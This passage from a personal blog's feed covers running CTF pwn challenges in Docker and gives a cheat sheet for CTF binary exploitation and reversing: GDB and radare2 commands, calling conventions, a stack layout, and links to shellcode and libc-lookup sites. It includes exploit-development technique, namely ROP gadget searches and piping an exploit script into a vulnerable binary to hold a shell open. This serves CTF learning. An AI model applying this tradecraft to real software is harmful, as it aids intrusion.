<span class="nb">sudo </span>docker stop <span class="si">$(</span><span class="nb">sudo </span>docker ps <span class="nt">-a</span> <span class="nt">-q</span><span class="si">)</span> <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>docker <span class="nb">rm</span> <span class="si">$(</span><span class="nb">sudo </span>docker ps <span class="nt">-a</span> <span class="nt">-q</span><span class="si">)</span>
<span class="nb">sudo </span>docker <span class="nb">cp </span>sad_brattain:/home/user/challenge_name <span class="nb">.</span>
nc 172.17.0.2 8080
</code></pre></div></div>

<p>TODO:</p>

<p>-z execstack</p>

<p>these days most challs are 64 bit</p>

<p><a href="https://www.youtube.com/watch?v=VCwiZ2dh17Q&amp;list=PLhixgUqwRTjzTvVyL_8H-DJBf8VT3uiu2&amp;index=2">https://www.youtube.com/watch?v=VCwiZ2dh17Q&amp;list=PLhixgUqwRTjzTvVyL_8H-DJBf8VT3uiu2&amp;index=2</a></p>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Pwn" /><summary type="html"><![CDATA[This is a collection of tips and tricks I have discovered in my working for FHICTF. External sources https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown Buffers The “Suggestions for running a ctf” by PPP suggested using either xinetd or fork/accept in the binary itself for running remote challenges. When I joined FHICTF, there was one example pwn challenge, which used socat in docker. Because this seemed to work fine, I have not yet looked into the differences and possible problems with our approach. One issue we have had was that when doing the challenge, netcat would not receive any data until the connection closed. Then it would suddenly flood the terminal. This is what we used in the dockerfile:]]></summary></entry><entry><title type="html">Cheat sheet for pwn/rev challenges</title><link href="https://vreugdenhil.dev/pwn_rev_cheat_sheet/" rel="alternate" type="text/html" title="Cheat sheet for pwn/rev challenges" /><published>2021-01-01T00:00:00+01:00</published><updated>2021-01-01T00:00:00+01:00</updated><id>https://vreugdenhil.dev/pwn_rev_cheat_sheet</id><content type="html" xml:base="https://vreugdenhil.dev/pwn_rev_cheat_sheet/"><![CDATA[<p>This post is a brief cheat sheet for solving CTF pwn and reversing challenges.</p>

<h2 id="online-tools">Online Tools</h2>

<ul>
  <li><a href="https://libc.blukat.me/">https://libc.blukat.me/</a></li>
  <li><a href="http://shell-storm.org/shellcode/">http://shell-storm.org/shellcode/</a></li>
  <li><a href="https://github.com/0xb0bb/karkinos">https://github.com/0xb0bb/karkinos</a></li>
  <li><a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></li>
  <li><a href="https://docs.pwntools.com/en/stable/intro.html">https://docs.pwntools.com/en/stable/intro.html</a></li>
</ul>

<!--more-->

<h2 id="gdb">GDB</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r &lt; payload.bin
r &lt; &lt;(script.py)
info file
info address main
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>define hook-stop    Do this every time you break
x/32x $sp           examine 32 bytes as hex at the top of stack
x/16i $pc           examine 16 instructions coming up next
end
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/x  hex
/s  string
/t  binary
/i  instruction

/a  address
/d  decimal
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b *0xdeadbeef
info registers  ( i r )
backtrace       ( bt )
si
fin
info frame
</code></pre></div></div>

<h2 id="analysis-shell-commands">Analysis Shell commands</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ltrace ./vuln
<span class="nb">sudo </span>dmesg <span class="nt">-C</span>
<span class="nb">sudo </span>dmesg <span class="nt">-t</span>

rabin2 <span class="nt">-I</span> ./vuln
rabin2 <span class="nt">-z</span> ./vuln
radare2 ./vuln <span class="nt">-A</span>

nm ret2win | <span class="nb">grep</span> <span class="s1">' t '</span><span class="o">]</span>
</code></pre></div></div>

<h2 id="pwn-shell-commands">Pwn Shell commands</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>python3 script.py<span class="p">;</span> <span class="nb">cat</span><span class="o">)</span> | ./vuln
</code></pre></div></div>

<h2 id="radare">Radare</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>afl     list functions
iI      info
ii      imports
izz     list all strings
izz~a   grep for a

afl~sym.main
pdf @sym.main

/R ret
/R pop rdi; ret
</code></pre></div></div>

<h2 id="registers-64-bit">Registers 64 bit</h2>

<p>Linux:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RDI
RSI
RDX
RCX
R8
R9
rest onto stack
</code></pre></div></div>

<p>Windows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RCX
RDX
R8
R9
rest onto stack
</code></pre></div></div>

<p>Return val is in EAX or RAX</p>

<table>
  <thead>
    <tr>
      <th>32</th>
      <th> </th>
      <th> </th>
      <th>0</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>EAX</td>
      <td>EAX</td>
      <td>EAX</td>
      <td>EAX</td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td>AX</td>
      <td>AX</td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td>ah</td>
      <td>al</td>
    </tr>
  </tbody>
</table>

<h2 id="stack-32-bit">Stack 32 bit</h2>

<table>
  <thead>
    <tr>
      <th> </th>
      <th> </th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>stack growth to here</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>local var 2</td>
      <td>ebp - 0xc</td>
      <td>&lt;- ESP</td>
    </tr>
    <tr>
      <td>local var 1</td>
      <td>ebp - 8</td>
      <td> </td>
    </tr>
    <tr>
      <td>local var 0</td>
      <td>ebp - 4</td>
      <td> </td>
    </tr>
    <tr>
      <td>saved EBP</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>saved EIP</td>
      <td>ebp + 4</td>
      <td> </td>
    </tr>
    <tr>
      <td>param 0</td>
      <td>ebp + 8</td>
      <td> </td>
    </tr>
    <tr>
      <td>param 1</td>
      <td>ebp + 0xc</td>
      <td> </td>
    </tr>
    <tr>
      <td>old local var 2</td>
      <td> </td>
      <td>&lt;- saved EBP</td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>High address</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<h2 id="tips">Tips</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Don't confuse the stack and heap :)
When going from 32 to 64, EBP also grows
</code></pre></div></div>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Reversing" /><category term="Pwn" /><summary type="html"><![CDATA[This post is a brief cheat sheet for solving CTF pwn and reversing challenges. Online Tools https://libc.blukat.me/ http://shell-storm.org/shellcode/ https://github.com/0xb0bb/karkinos https://gchq.github.io/CyberChef/ https://docs.pwntools.com/en/stable/intro.html]]></summary></entry></feed>